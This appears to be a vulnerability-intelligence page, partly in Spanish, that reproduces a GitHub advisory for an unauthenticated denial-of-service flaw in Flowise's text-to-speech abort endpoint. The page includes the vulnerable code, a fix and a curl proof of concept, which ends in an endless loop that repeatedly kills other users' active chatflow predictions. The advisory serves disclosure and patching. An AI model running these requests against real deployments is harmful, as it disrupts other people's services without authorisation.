llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · flowise

GHSA-XHXX-56G3-MX2R

Unauthenticated Denial of Service via text-to-speech/abort Endpoint Allows Termination of Active Chatflow Predictions

Parche disponible
Descargar PNG JSON
CVSS 4.0
6.3
Media
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -30 d de la divulgación
Exposición84 dDesde la divulgación, 28 ago 2026, 9:03 a. m.
Detección82 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.1.4
Monitoreo
Detectada +1
29 jul 26
28 ago 26
18 nov 26
21 nov 26
29 jul 26
27 ago 26
24 sept 26
23 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.1.4 flowise · -30 d desde divulgación
Divulgación Publicada GHSA-XHXX-56G3-MX2R divulgada · CVSS 6.3 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The `/api/v1/text-to-speech/abort` endpoint is whitelisted (requires no authentication) and accepts user-supplied `chatflowId`, `chatId`, and `chatMessageId` values without ownership verification. Beyond aborting TTS audio streams, the handler also aborts the main chatflow AbortController for the referenced prediction session. An unauthenticated attacker who knows a `chatflowId` and `chatId` can terminate any in-progress chatflow prediction for any user, causing a targeted denial of service.

Details

The TTS abort controller at `packages/server/src/controllers/text-to-speech/index.ts:173-220` is whitelisted at `packages/server/src/utils/constants.ts:42`:

'/api/v1/text-to-speech/abort',

The handler extracts `chatflowId`, `chatId`, and `chatMessageId` from the request body and uses them to:
1. Abort the TTS-specific AbortController
2. Abort the MAIN chatflow AbortController for the prediction session

// packages/server/src/controllers/text-to-speech/index.ts:173-214
const abortTextToSpeech = async (req: Request, res: Response) => {
    try {
        const { chatId, chatMessageId, chatflowId } = req.body

        // ... basic field validation ...

        const appServer = getRunningExpressApp()

        // Abort the TTS generation using existing pool
        const ttsAbortId = `tts_${chatId}_${chatMessageId}`
        appServer.abortControllerPool.abort(ttsAbortId)

        // Also abort the main chat flow AbortController for auto-TTS
        const chatFlowAbortId = `${chatflowId}_${chatId}`
        if (appServer.abortControllerPool.get(chatFlowAbortId)) {
            appServer.abortControllerPool.abort(chatFlowAbortId)  // <-- Kills the active prediction
            appServer.sseStreamer.streamMetadataEvent(chatId, { chatId, chatMessageId })
        }

        // Send abort event to client
        appServer.sseStreamer.streamTTSAbortEvent(chatId, chatMessageId)

        res.json({ message: 'TTS stream aborted successfully', chatId, chatMessageId })
    } catch (error) {
        res.status(500).json({
            error: error instanceof Error ? error.message : 'Failed to abort TTS stream'
        })
    }
}

At lines 205-208, when the main chatflow AbortController is found in the pool, it is aborted. The chatflow AbortController ID is constructed as `${chatflowId}_${chatId}`, where both values come directly from the unauthenticated request body. There is no verification that:
1. The request originates from the same user who initiated the prediction
2. The chatflow is public
3. The caller has any relationship to the chatflow or chat session

The `chatId` for public chatflows is either user-provided at prediction time (from `req.body.chatId`) or auto-generated. For embedded chatbot widgets, the `chatId` is typically generated client-side and visible in the JavaScript source or network traffic.

PoC

# Step 1: Attacker knows a chatflow UUID (from widget source, URL, etc.)
CHATFLOW_ID="<target-chatflow-uuid>"

# Step 2: Attacker observes or guesses a chatId from the target user's session
# For embedded widgets, chatId is often visible in client-side JS or SSE streams
CHAT_ID="<target-chat-id>"

# Step 3: Abort the active prediction session without authentication
curl -X POST "http://localhost:3000/api/v1/text-to-speech/abort" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "'${CHAT_ID}'",
    "chatMessageId": "arbitrary-msg-id"
  }'

# Expected: Returns 200 with "TTS stream aborted successfully"
# Effect: The target user's in-progress prediction is terminated mid-generation

# Step 4: Automated disruption - continuously abort any prediction as it starts
while true; do
  curl -s -X POST "http://localhost:3000/api/v1/text-to-speech/abort" \
    -H "Content-Type: application/json" \
    -d '{"chatflowId": "'${CHATFLOW_ID}'", "chatId": "'${CHAT_ID}'", "chatMessageId": "dos"}' > /dev/null
  sleep 0.1
done

Impact

  • Targeted Denial of Service: An attacker can terminate any in-progress chatflow prediction for any user by calling the unauthenticated TTS abort endpoint with the correct chatflowId and chatId. This interrupts the LLM response mid-generation, causing the user to see an incomplete or error response.
  • Persistent Disruption: By continuously calling the abort endpoint in a loop, an attacker can make a specific chatflow unusable for a specific user session, as every prediction will be aborted before completion.
  • Cross-Session Impact: The abort event is also sent via SSE to the chat client (`streamTTSAbortEvent` and `streamMetadataEvent`), potentially disrupting the client-side UI state.
  • No Rate Limiting: The TTS abort endpoint does not appear to have rate limiting applied, allowing high-frequency abuse.

Recommended Fix

Add authorization checks to the TTS abort endpoint:

// packages/server/src/controllers/text-to-speech/index.ts
const abortTextToSpeech = async (req: Request, res: Response) => {
    try {
        const { chatId, chatMessageId, chatflowId } = req.body

        // ... existing field validation ...

        // For unauthenticated requests, verify the chatflow is public
        if (!req.user) {
            const chatflow = await chatflowsService.getChatflowById(chatflowId)
            if (!chatflow || !chatflow.isPublic) {
                throw new InternalFlowiseError(
                    StatusCodes.UNAUTHORIZED,
                    'TTS abort requires authentication for non-public chatflows'
                )
            }
        }

        const appServer = getRunningExpressApp()

        // Only abort the TTS-specific controller, NOT the main chatflow controller
        const ttsAbortId = `tts_${chatId}_${chatMessageId}`
        appServer.abortControllerPool.abort(ttsAbortId)

        // Remove or protect the main chatflow abort
        // The main chatflow abort should only be callable by authenticated users
        // who own the chatflow or are in the same workspace

        res.json({ message: 'TTS stream aborted successfully', chatId, chatMessageId })
    } catch (error) {
        res.status(500).json({
            error: error instanceof Error ? error.message : 'Failed to abort TTS stream'
        })
    }
}

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:P
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:N
AltoBajoNinguno
Integridad (sistema)VI:N
AltoBajoNinguno
Disponib. (sistema)VA:L
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise≤ 3.1.3
3.1.3
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Corregida 3.1.4 -30 d 3.1.4 no afectada
Versiones corregidas3.1.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xhxx-56g3-mx2r

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.